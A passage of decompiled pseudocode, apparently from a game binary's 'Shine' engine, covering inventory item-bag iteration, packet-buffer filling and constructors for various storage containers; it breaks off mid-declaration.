ItemBoxIterItemRegNo::ibi_isvalid(ItemBoxIterItemRegNo *this) { ItemBoxIterItemRegNo *v1; // esi@1 int v2; // eax@1 v1 = this; v2 = (**(int (__stdcall ***)(_DWORD))this->baseclass_0.ibi_itembag)(this->baseclass_0.ibi_finger); return *(_DWORD *)v2 == *(_DWORD *)&v1->ibii_RegNo.binary.gap0[0] && *(_DWORD *)(v2 + 4) == v1->ibii_RegNo.binary._bf4; } //----- (00553AA0) -------------------------------------------------------- int __cdecl ItemBag::ib_InitStateCell() { int result; // eax@1 ItemBag::ib_staticcell = -1; unk_6035FC = -1; result = 0; memset(&unk_603600, 0, 0x64u); *((_WORD *)&unk_603600 + 50) = 0; *((_BYTE *)&unk_603600 + 102) = 0; unk_603600 = -1; unk_603668 = &itmattcontainer; return result; } //----- (00553AE0) -------------------------------------------------------- void __thiscall ItemBag::ib_Initializetotal(ItemBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype) { PROTO_ITEMPACKET_TOTAL *v4; // ebx@1 ItemBag *v5; // esi@1 int v6; // edi@4 int v7; // ebp@6 signed int itm; // [sp+8h] [bp-7Ch]@1 ItemBag *v9; // [sp+Ch] [bp-78h]@1 ItemTotalInformation itemtemp; // [sp+10h] [bp-74h]@6 v4 = itmarr; v5 = this; v9 = this; itm = 0; if ( *itemcounter ) { do { if ( (unsigned int)v4->location.Inven >> 10 == inventype ) { v6 = v4->location.Inven & 0x3FF; if ( (v4->location.Inven & 0x3FF) < v5->vfptr->ib_BagSizeOutput(v5) ) { ItemTotalInformation::iti_fill2struct_whole( &itemtemp, &itmattcontainer.iacc_default, 0xFFFFu, v4->info.iti_registnum.binary.gap0); v7 = (int)v5->vfptr->ib_GetInventoryCell(v5, v4->location.Inven & 0x3FF); memcpy((void *)v7, &itemtemp, 0x6Cu); *(_WORD *)(v7 + 108) = *(_WORD *)((char *)&itemtemp.iti_itemstruct.itemattr.binditem.portal[9].y + 1); *(_BYTE *)(v7 + 110) = BYTE3(itemtemp.iti_itemstruct.itemattr.binditem.portal[9].y); v5 = v9; *(_DWORD *)(v7 + 112) = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(v7 + 8)); v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } else { AssertClass::ac_AssertFail(&shineassert, "ItemBag::ib_Initializetotal : Invalid slot", v6); v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } } else { v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } ++itm; } while ( itm < (unsigned __int8)*itemcounter ); } } //----- (00553C10) -------------------------------------------------------- int __thiscall ItemAccountStorage::ias_FillBufferItem(ItemAccountStorage *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, const char *charid, int from, int to) { PROTO_ITEMPACKET_INFORM *v6; // edi@1 int v7; // esi@4 unsigned __int16 v8; // ax@5 int v9; // ebp@6 unsigned __int16 v10; // cx@8 int v11; // eax@10 _iobuf *v12; // ebx@12 _iobuf *v13; // ebx@15 unsigned __int16 v14; // ax@16 char v15; // al@16 int ibi; // [sp+4h] [bp-1Ch]@1 ItemAccountStorage *v18; // [sp+8h] [bp-18h]@1 int v19; // [sp+Ch] [bp-14h]@1 int v20; // [sp+10h] [bp-10h]@1 int v21; // [sp+1Ch] [bp-4h]@1 *itemcounter = 0; ibi = (int)ItemBoxIterator::_vftable_; v18 = this; v6 = itmarr; v20 = ((int (*)(void))this->baseclass_0.vfptr->ib_BagSizeOutput)(); ibi = (int)&ItemBoxIterItem::_vftable_; v21 = 0; v19 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibi) ) { LABEL_4: v7 = ((int (__stdcall *)(int))v18->baseclass_0.vfptr->ib_GetInventoryCell)(v19); if ( !v7 ) return (char *)v6 - itemcounter; v8 = *(_WORD *)(v7 + 8); if ( (unsigned int)v8 < unk_12510614 ) { v9 = unk_12510DB0 + 24 * v8; if ( v9 ) { if ( *(_DWORD *)v9 ) { v10 = **(_WORD **)v9; if ( v10 == v8 ) { v11 = unk_12510DB0 + 24 * v8; goto LABEL_11; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v10 + 10000 * v8); } } } v11 = 0; LABEL_11: if ( v11 ) { if ( *(_DWORD *)v11 != 0 ) { v14 = v6->location.Inven & 0x3FF | 0x1800; v6->location.Inven = v14; v6->location.Inven = v14 ^ (v19 ^ v14) & 0x3FF; v15 = (char)&ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v7, *(ItemAttributeClass **)(v7 + 112), *(_WORD *)(v7 + 8), (char *)&v6->info)[2 - ((_BYTE)v6 + 3)]; v6->datasize = v15; v6 = (PROTO_ITEMPACKET_INFORM *)((char *)v6 + (unsigned __int8)v15 + 1); ++*itemcounter; } else { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ias_FillBufferItem : Invalid ItemID found", *(_WORD *)(v7 + 8)); v13 = fopen("StorageError.txt", "a"); fprintf(v13, "%s %d\n"); fclose(v13); } } else { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ias_FillBufferItem : Invalid ItemID found", *(_WORD *)(v7 + 8)); v12 = fopen("StorageError.txt", "a"); fprintf(v12, "%s/%d\n"); fclose(v12); } while ( v19 < v20 - 1 ) { ++v19; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibi)(&ibi) ) goto LABEL_4; } return (char *)v6 - itemcounter; } while ( v19 < v20 - 1 ) { ++v19; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibi)(&ibi) ) goto LABEL_4; } return (char *)v6 - itemcounter; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00553E60) -------------------------------------------------------- int __thiscall CharacterInventory::ci_FillBufferInventoryItem(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box, int *from, int buffersize, ItemBag *bag) { int v7; // eax@1 PROTO_ITEMPACKET_INFORM *v8; // esi@1 int (__thiscall *v9)(ItemAttributeClass *, ItemTotalInformation *); // eax@3 int v11; // edi@8 int v12; // ebx@12 int v13; // eax@13 int v14; // edi@13 unsigned __int16 v15; // bp@13 unsigned int v16; // eax@13 int v17; // eax@14 int v18; // ecx@18 unsigned __int16 *v19; // ecx@19 unsigned __int16 v20; // cx@20 int v21; // eax@22 int v22; // eax@27 char v23; // al@27 int ibii; // [sp+8h] [bp-1Ch]@6 int v25; // [sp+Ch] [bp-18h]@6 int v26; // [sp+10h] [bp-14h]@9 int v27; // [sp+14h] [bp-10h]@6 int v28; // [sp+20h] [bp-4h]@6 *itemcounter = 0; v7 = (int)bag; v8 = itmarr; if ( !bag && ((unsigned __int16)box < 0x11u ? (v9 = (int (__thiscall *)(ItemAttributeClass *, ItemTotalInformation *))charinvenman.cim_Array[(unsigned __int16)box]) : (v9 = ShineObjectClass::ShineObject::so_mh_PortalOpen), (v7 = v9((ItemAttributeClass *)&charinvenman, (ItemTotalInformation *)this)) == 0) || (ibii = (int)ItemBoxIterator::_vftable_, v25 = v7, v27 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 8))(v7), ibii = (int)&ItemBoxIterItem::_vftable_, v28 = 0, !ItemBoxIterator::ibi_Home((ItemBoxIterator *)&ibii)) ) return 0; v11 = 0; if ( *from <= 0 ) { LABEL_12: v12 = 0; LABEL_13: v13 = (**(int (__stdcall ***)(_DWORD))v25)(v26); v14 = v13; v15 = *(_WORD *)(v13 + 8); v16 = *(_WORD *)(v13 + 8); if ( v16 < unk_12510614 ) { v17 = unk_12510DB0 + 24 * v16; if ( v17 ) { if ( *(_DWORD *)v17 ) { if ( **(_WORD **)v17 == v15 ) { if ( (unsigned int)v15 < unk_12510614 ) { v18 = unk_12510DB0 + 24 * v15; if ( v18 ) { v19 = *(unsigned __int16 **)v18; if ( v19 ) { v20 = *v19; if ( v20 == v15 ) { v21 = unk_12510DB0 + 24 * v15; goto LABEL_23; } AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v20 + 10000 * v15); } } } v21 = 0; LABEL_23: if ( *(_DWORD *)v21 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ci_FillBufferInventoryItem : Invalid ItemID found", *(_WORD *)(v14 + 8)); goto LABEL_28; } v22 = (box << 10) | v8->location.Inven & 0x3FF; v8->location.Inven = v22; v8->location.Inven = v22 ^ (v26 ^ (unsigned __int16)v22) & 0x3FF; v23 = (char)&ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v14, *(ItemAttributeClass **)(v14 + 112), *(_WORD *)(v14 + 8), (char *)&v8->info)[2 - ((_BYTE)v8 + 3)]; v8->datasize = v23; ++*itemcounter; v8 = (PROTO_ITEMPACKET_INFORM *)((char *)v8 + (unsigned __int8)v23 + 1); v12 = (char *)v8 - (char *)itmarr; ++*from; if ( (signed int)((char *)v8 - (char *)itmarr) < buffersize ) { LABEL_28: while ( v26 < v27 - 1 ) { ++v26; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibii)(&ibii) ) goto LABEL_13; } } return v12; } AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", **(_WORD **)v17 + 10000 * v15); } } } return 0; } while ( v26 < v27 - 1 ) { ++v26; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibii)(&ibii) ) { ++v11; if ( v11 >= *from ) goto LABEL_12; } } return 0; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00554120) -------------------------------------------------------- int __thiscall CharacterInventory::ci_FillBufferItem(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr) { PROTO_ITEMPACKET_INFORM *v3; // esi@1 int v4; // ebp@1 signed int v5; // edi@1 int (__thiscall *v6)(ItemAttributeClass *, ItemTotalInformation *); // eax@3 ItemBag *v7; // eax@5 int v8; // eax@9 int v9; // ebp@9 unsigned __int16 v10; // dx@9 unsigned int v11; // eax@9 int v12; // ecx@10 unsigned __int16 *v13; // ecx@11 unsigned __int16 v14; // cx@12 int v15; // eax@14 int v16; // ebx@17 unsigned __int16 v17; // cx@19 int v18; // eax@21 int v19; // eax@26 char v20; // al@26 signed int v22; // [sp+10h] [bp-24h]@1 ItemTotalInformation *itm; // [sp+14h] [bp-20h]@1 ItemBoxIterItem thisa; // [sp+18h] [bp-1Ch]@6 int v25; // [sp+30h] [bp-4h]@6 v3 = itmarr; v4 = 0; v5 = 0; itm = (ItemTotalInformation *)this; *itemcounter = 0; v22 = 0; do { if ( (unsigned __int16)v5 < 0x11u ) v6 = (int (__thiscall *)(ItemAttributeClass *, ItemTotalInformation *))charinvenman.cim_Array[(unsigned __int16)v5]; else v6 = ShineObjectClass::ShineObject::so_mh_PortalOpen; v7 = (ItemBag *)v6((ItemAttributeClass *)&charinvenman, itm); if ( v7 != (ItemBag *)v4 ) { thisa.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; thisa.baseclass_0.ibi_itembag = v7; thisa.baseclass_0.ibi_Limit = v7->vfptr->ib_BagSizeOutput(v7); thisa.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; v25 = v4; thisa.baseclass_0.ibi_finger = v4; if ( !(unsigned __int8)ItemBoxIterItem::_vftable_(&thisa) ) { while ( thisa.baseclass_0.ibi_finger < thisa.baseclass_0.ibi_Limit - 1 ) { ++thisa.baseclass_0.ibi_finger; if ( (unsigned __int8)thisa.baseclass_0.vfptr->ibi_isvalid(&thisa) ) goto LABEL_9; } thisa.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; goto LABEL_31; } LABEL_9: v8 = ((int (__stdcall *)(int))thisa.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(thisa.baseclass_0.ibi_finger); v9 = v8; v10 = *(_WORD *)(v8 + 8); v11 = *(_WORD *)(v8 + 8); if ( v11 >= *(_DWORD *)word_12510614 || (v12 = unk_12510DB0 + 24 * v11) == 0 || (v13 = *(unsigned __int16 **)v12) == 0 ) goto LABEL_14; v14 = *v13; if ( v14 != v10 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v11); LABEL_14: v15 = 0; LABEL_23: if ( v15 != 0 ) { v19 = v3->location.Inven & 0x3FF | (v22 << 10); v3->location.Inven = v19; v3->location.Inven = v19 ^ (LOWORD(thisa.baseclass_0.ibi_finger) ^ v19) & 0x3FF; v20 = (char)&ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v9, *(ItemAttributeClass **)(v9 + 112), *(_WORD *)(v9 + 8), (char *)&v3->info)[-(_BYTE)v3 - 1]; v3->datasize = v20; v3 = (PROTO_ITEMPACKET_INFORM *)((char *)v3 + (unsigned __int8)v20 + 1); ++*itemcounter; } else { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ci_fullbuffertotal : Invalid ItemID found", *(_WORD *)(v9 + 8)); } while ( thisa.baseclass_0.ibi_finger < thisa.baseclass_0.ibi_Limit - 1 ) { ++thisa.baseclass_0.ibi_finger; if ( (unsigned __int8)thisa.baseclass_0.vfptr->ibi_isvalid(&thisa) ) goto LABEL_9; } v5 = v22; thisa.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v4 = 0; LABEL_31: v25 = -1; goto LABEL_32; } if ( (unsigned int)v10 < *(_DWORD *)word_12510614 ) { v16 = unk_12510DB0 + 24 * v10; if ( v16 ) { if ( *(_DWORD *)v16 ) { v17 = **(_WORD **)v16; if ( v17 == v10 ) { v18 = unk_12510DB0 + 24 * v10; goto LABEL_22; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v17 + 10000 * v10); } } } v18 = 0; LABEL_22: v15 = *(_DWORD *)v18; goto LABEL_23; } LABEL_32: ++v5; v22 = v5; } while ( v5 < 17 ); return (char *)v3 - (char *)itmarr; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00554380) -------------------------------------------------------- int __thiscall CharacterInventory::ci_FillBufferInventoryTotal(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int box, int *from, int buffersize) { PROTO_ITEMPACKET_TOTAL *v6; // esi@1 int (__thiscall *v7)(ItemAttributeClass *, ItemTotalInformation *); // eax@2 int v8; // eax@4 int v10; // edi@7 int v11; // ebx@11 int v12; // eax@12 int v13; // edi@12 unsigned __int16 v14; // bp@12 unsigned int v15; // eax@12 int v16; // eax@13 int v17; // ecx@17 unsigned __int16 *v18; // ecx@18 unsigned __int16 v19; // cx@19 int v20; // eax@21 int v21; // eax@26 char v22; // al@26 int ibii; // [sp+Ch] [bp-1Ch]@5 int v24; // [sp+10h] [bp-18h]@5 int v25; // [sp+14h] [bp-14h]@8 int v26; // [sp+18h] [bp-10h]@5 int v27; // [sp+24h] [bp-4h]@5 *itemcounter = 0; v6 = itmarr; if ( (unsigned __int16)box < 0x11u ) v7 = (int (__thiscall *)(ItemAttributeClass *, ItemTotalInformation *))charinvenman.cim_Array[(unsigned __int16)box]; else v7 = ShineObjectClass::ShineObject::so_mh_PortalOpen; v8 = v7((ItemAttributeClass *)&charinvenman, (ItemTotalInformation *)this); if ( !v8 || (ibii = (int)ItemBoxIterator::_vftable_, v24 = v8, v26 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 8))(v8), ibii = (int)&ItemBoxIterItem::_vftable_, v27 = 0, !ItemBoxIterator::ibi_Home((ItemBoxIterator *)&ibii)) ) return 0; v10 = 0; if ( *from <= 0 ) { LABEL_11: v11 = 0; LABEL_12: v12 = (**(int (__stdcall ***)(_DWORD))v24)(v25); v13 = v12; v14 = *(_WORD *)(v12 + 8); v15 = *(_WORD *)(v12 + 8); if ( v15 < unk_12510614 ) { v16 = unk_12510DB0 + 24 * v15; if ( v16 ) { if ( *(_DWORD *)v16 ) { if ( **(_WORD **)v16 == v14 ) { if ( (unsigned int)v14 < unk_12510614 ) { v17 = unk_12510DB0 + 24 * v14; if ( v17 ) { v18 = *(unsigned __int16 **)v17; if ( v18 ) { v19 = *v18; if ( v19 == v14 ) { v20 = unk_12510DB0 + 24 * v14; goto LABEL_22; } AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v19 + 10000 * v14); } } } v20 = 0; LABEL_22: if ( *(_DWORD *)v20 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ci_FillBufferInventoryTotal : Invalid ItemID found", *(_WORD *)(v13 + 8)); goto LABEL_27; } v21 = (box << 10) | v6->location.Inven & 0x3FF; v6->location.Inven = v21; v6->location.Inven = v21 ^ (v25 ^ (unsigned __int16)v21) & 0x3FF; v22 = (char)&ItemTotalInformation::iti_fill2buffer_whole( (ItemTotalInformation *)v13, *(ItemAttributeClass **)(v13 + 112), *(_WORD *)(v13 + 8), v6->info.iti_registnum.binary.gap0)[2 - ((_BYTE)v6 + 3)]; v6->datasize = v22; ++*itemcounter; v6 = (PROTO_ITEMPACKET_TOTAL *)((char *)v6 + (unsigned __int8)v22 + 1); v11 = (char *)v6 - (char *)itmarr; ++*from; if ( (signed int)((char *)v6 - (char *)itmarr) < buffersize ) { LABEL_27: while ( v25 < v26 - 1 ) { ++v25; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibii)(&ibii) ) goto LABEL_12; } } return v11; } AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", **(_WORD **)v16 + 10000 * v14); } } } return -1; } while ( v25 < v26 - 1 ) { ++v25; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibii)(&ibii) ) { ++v10; if ( v10 >= *from ) goto LABEL_11; } } return 0; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00554630) -------------------------------------------------------- int __thiscall CharacterInventory::ci_FillBufferTotal(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr) { PROTO_ITEMPACKET_TOTAL *v3; // esi@1 int v4; // ebp@1 signed int v5; // ebx@1 int (__thiscall *v6)(ItemAttributeClass *, ItemTotalInformation *); // eax@3 int v7; // eax@5 int v8; // eax@9 int v9; // edi@9 __int16 v10; // bp@9 unsigned int v11; // eax@9 int v12; // edx@10 unsigned __int16 v13; // cx@12 int v14; // eax@12 int v15; // eax@14 int v16; // eax@19 char v17; // al@19 signed int box; // [sp+10h] [bp-24h]@1 ItemTotalInformation *v20; // [sp+14h] [bp-20h]@1 int ibii; // [sp+18h] [bp-1Ch]@6 int v22; // [sp+1Ch] [bp-18h]@6 int v23; // [sp+20h] [bp-14h]@6 int v24; // [sp+24h] [bp-10h]@6 int v25; // [sp+30h] [bp-4h]@6 v3 = itmarr; v4 = 0; v5 = 0; v20 = (ItemTotalInformation *)this; *itemcounter = 0; box = 0; do { if ( (unsigned __int16)v5 < 0x11u ) v6 = (int (__thiscall *)(ItemAttributeClass *, ItemTotalInformation *))charinvenman.cim_Array[(unsigned __int16)v5]; else v6 = ShineObjectClass::ShineObject::so_mh_PortalOpen; v7 = v6((ItemAttributeClass *)&charinvenman, v20); if ( v7 != v4 ) { ibii = (int)ItemBoxIterator::_vftable_; v22 = v7; v24 = (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 8))(v7); ibii = (int)&ItemBoxIterItem::_vftable_; v25 = v4; v23 = v4; if ( !(unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) ) { while ( v23 < v24 - 1 ) { ++v23; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibii)(&ibii) ) goto LABEL_9; } ibii = (int)ItemBoxIterator::_vftable_; goto LABEL_24; } LABEL_9: v8 = (**(int (__stdcall ***)(_DWORD))v22)(v23); v9 = v8; v10 = *(_WORD *)(v8 + 8); v11 = *(_WORD *)(v8 + 8); if ( v11 < unk_12510614 ) { v12 = unk_12510DB0 + 24 * v11; if ( v12 ) { if ( *(_DWORD *)v12 ) { v13 = **(_WORD **)v12; v14 = v13 + 10000 * v11; if ( v13 == v10 ) { v5 = box; v15 = v12; goto LABEL_15; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14); v5 = box; } } } v15 = 0; LABEL_15: if ( *(_DWORD *)v15 != 0 ) { v16 = (v5 << 10) | v3->location.Inven & 0x3FF; v3->location.Inven = v16; v3->location.Inven = v16 ^ (v23 ^ (unsigned __int16)v16) & 0x3FF; v17 = (char)&ItemTotalInformation::iti_fill2buffer_whole( (ItemTotalInformation *)v9, *(ItemAttributeClass **)(v9 + 112), *(_WORD *)(v9 + 8), v3->info.iti_registnum.binary.gap0)[-(_BYTE)v3 - 1]; v3->datasize = v17; v3 = (PROTO_ITEMPACKET_TOTAL *)((char *)v3 + (unsigned __int8)v17 + 1); ++*itemcounter; } else { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ci_fullbuffertotal : Invalid ItemID found", *(_WORD *)(v9 + 8)); } while ( v23 < v24 - 1 ) { ++v23; if ( (unsigned __int8)(*(int (__thiscall **)(int *))ibii)(&ibii) ) goto LABEL_9; } ibii = (int)ItemBoxIterator::_vftable_; v4 = 0; LABEL_24: v25 = -1; } ++v5; box = v5; } while ( v5 < 17 ); return (char *)v3 - (char *)itmarr; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6A4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00554850) -------------------------------------------------------- void __thiscall ItemBag::ib_clear(ItemBag *this) { int v1; // eax@4 int v2; // edx@8 int iter; // [sp+4h] [bp-1Ch]@1 ItemBag *v4; // [sp+8h] [bp-18h]@1 int v5; // [sp+Ch] [bp-14h]@1 int v6; // [sp+10h] [bp-10h]@1 int v7; // [sp+1Ch] [bp-4h]@1 v4 = this; v6 = ((int (__cdecl *)(_DWORD))this->vfptr->ib_BagSizeOutput)(ItemBoxIterator::_vftable_); v7 = 0; v5 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(int *))iter)(&iter) ) { LABEL_4: LOBYTE(v1) = 1; } else { while ( v5 < v6 - 1 ) { ++v5; if ( (unsigned __int8)(*(int (__thiscall **)(int *))iter)(&iter) ) goto LABEL_4; } LOBYTE(v1) = 0; } v1 = (unsigned __int8)v1; if ( (_BYTE)v1 ) { LABEL_8: v2 = ((int (__stdcall *)(int))v4->vfptr->ib_GetInventoryCell)(v5); *(_DWORD *)v2 = -1; *(_DWORD *)(v2 + 4) = -1; memset((void *)(v2 + 8), 0, 0x64u); *(_WORD *)(v2 + 108) = 0; *(_BYTE *)(v2 + 110) = 0; *(_WORD *)(v2 + 8) = -1; *(_DWORD *)(v2 + 112) = &itmattcontainer; while ( v5 < v6 - 1 ) { ++v5; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))iter)(&iter) ) goto LABEL_8; } } else { AssertClass::ac_AssertFail(&shineassert, "ItemBag::ib_clear : homefail", v1); } } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); //----- (00554960) -------------------------------------------------------- void __thiscall ItemInventoryCell::ItemInventoryCell(ItemInventoryCell *this) { *(_DWORD *)&this->iic_Item.iti_registnum.binary.gap0[0] = -1; this->iic_Item.iti_registnum.binary._bf4 = -1; memset(&this->iic_Item.iti_itemstruct, 0, 0x64u); *(_WORD *)((char *)&this->iic_Item.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = 0; BYTE3(this->iic_Item.iti_itemstruct.itemattr.binditem.portal[9].y) = 0; this->iic_Item.iti_itemstruct.itemid = -1; this->iic_AttrProc = (ItemAttributeClass *)&itmattcontainer; } //----- (00554990) -------------------------------------------------------- void __thiscall ItemInventory::ItemInventory(ItemInventory *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemInventory::_vftable_; _eh_vector_constructor_iterator_( this->ii_Array, 0x74u, 144, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5D97FC: using guessed type int (__stdcall *ItemInventory___vftable_[2])(int slot); //----- (005549F0) -------------------------------------------------------- void __thiscall ItemEquipment::ItemEquipment(ItemEquipment *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemEquipment::_vftable_; _eh_vector_constructor_iterator_( this->ie_Array, 0x74u, 29, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5D980C: using guessed type int (__stdcall *ItemEquipment___vftable_[2])(int slot); //----- (00554A50) -------------------------------------------------------- void __thiscall ItemQuestItemBox::ItemQuestItemBox(ItemQuestItemBox *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemQuestItemBox::_vftable_; _eh_vector_constructor_iterator_( this->iqb_Array, 0x74u, 5, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5D981C: using guessed type int (__stdcall *ItemQuestItemBox___vftable_[2])(int slot); //----- (00554AB0) -------------------------------------------------------- void __thiscall ItemAccountStorage::ItemAccountStorage(ItemAccountStorage *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemAccountStorage::_vftable_; _eh_vector_constructor_iterator_( this->ias_Array, 0x74u, 144, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5D982C: using guessed type int (__stdcall *ItemAccountStorage___vftable_[2])(int slot); //----- (00554B10) -------------------------------------------------------- void __thiscall ItemMiniHouseBox::ItemMiniHouseBox(ItemMiniHouseBox *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemMiniHouseBox::_vftable_; _eh_vector_constructor_iterator_( this->imhb_Array, 0x74u, 35, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5D983C: using guessed type int (__stdcall *ItemMiniHouseBox___vftable_[2])(int slot); //----- (00554B70) -------------------------------------------------------- void __thiscall ItemGuildStorage::ItemGuildStorage(ItemGuildStorage *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemGuildStorage::_vftable_; _eh_vector_constructor_iterator_( this->igs_Array, 0x74u, 36, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5D984C: using guessed type int (__stdcall *ItemGuildStorage___vftable_[2])(int slot); //----- (00554BD0) -------------------------------------------------------- void __thiscall ItemGuildAcademyRewardStorage::ItemGuildAcademyRewardStorage(ItemGuildAcademyRewardStorage *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemGuildAcademyRewardStorage::_vftable_; _eh_vector_constructor_iterator_( this->igars_Array, 0x74u, 72, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5D985C: using guessed type int (__stdcall *ItemGuildAcademyRewardStorage___vftable_[2])(int slot); //----- (00554C30) -------------------------------------------------------- void __thiscall ItemFurnicherBox::ItemFurnicherBox(ItemFurnicherBox *this) { this->baseclass_0.vfptr = (ItemBagVtbl *)ItemFurnicherBox::_vftable_; _eh_vector_constructor_iterator_( this->ifm_Array, 0x74u, 98, (void (__thiscall *)(void *))ItemInventoryCell::ItemInventoryCell, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5D986C: using guessed type int (__stdcall *ItemFurnicherBox___vftable_[2])(int slot); //----- (00554C90) -------------------------------------------------------- void __thiscall ItemActionItemBox::ItemActionItemBox(ItemActionItemBox *this) { this->baseclass_0.vfptr = (ItemSmallBagVtbl *)ItemActionItemBox::_vftable_; _eh_vector_constructor_iterator_( this->iaib_Array, 0x14u, 42, (void (__thiscall *)(void *))MoveManager::MoveManager, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } // 5D9A58: using guessed type int (__stdcall *ItemActionItemBox___vftable_[2])(int slot); //----- (00554CF0) -------------------------------------------------------- int __thiscall ItemActionItemBox::isb_BagSizeInput(ItemActionItemBox *this, ChargedEffectContainer *cec) { return 42; } //----- (00554D00) -------------------------------------------------------- int __thiscall ItemActionItemBox::isb_BagSizeOutput(ItemActionItemBox *this) { return 42; } //----- (00554D10) -------------------------------------------------------- ItemInventorySmallCell *__thiscall ItemActionItemBox::isb_GetInventoryCell(ItemActionItemBox *this, int slot) { ItemActionItemBox *v2; // esi@1 ItemInventorySmallCell *result; // eax@2 v2 = this; if ( slot >= ((int (*)(void))this->baseclass_0.vfptr->isb_BagSizeOutput)() ) { word_1465DD94 = -1; dword_1465DD9C = (int)&itmattcontainer; result = (ItemInventorySmallCell *)&ItemActionItemBox::iaib_Default; } else { result = &v2->iaib_Array[slot]; } return result; } // 1465DD94: using guessed type __int16 word_1465DD94; // 1465DD9C: using guessed type int dword_1465DD9C; //----- (00554D50) -------------------------------------------------------- void __thiscall 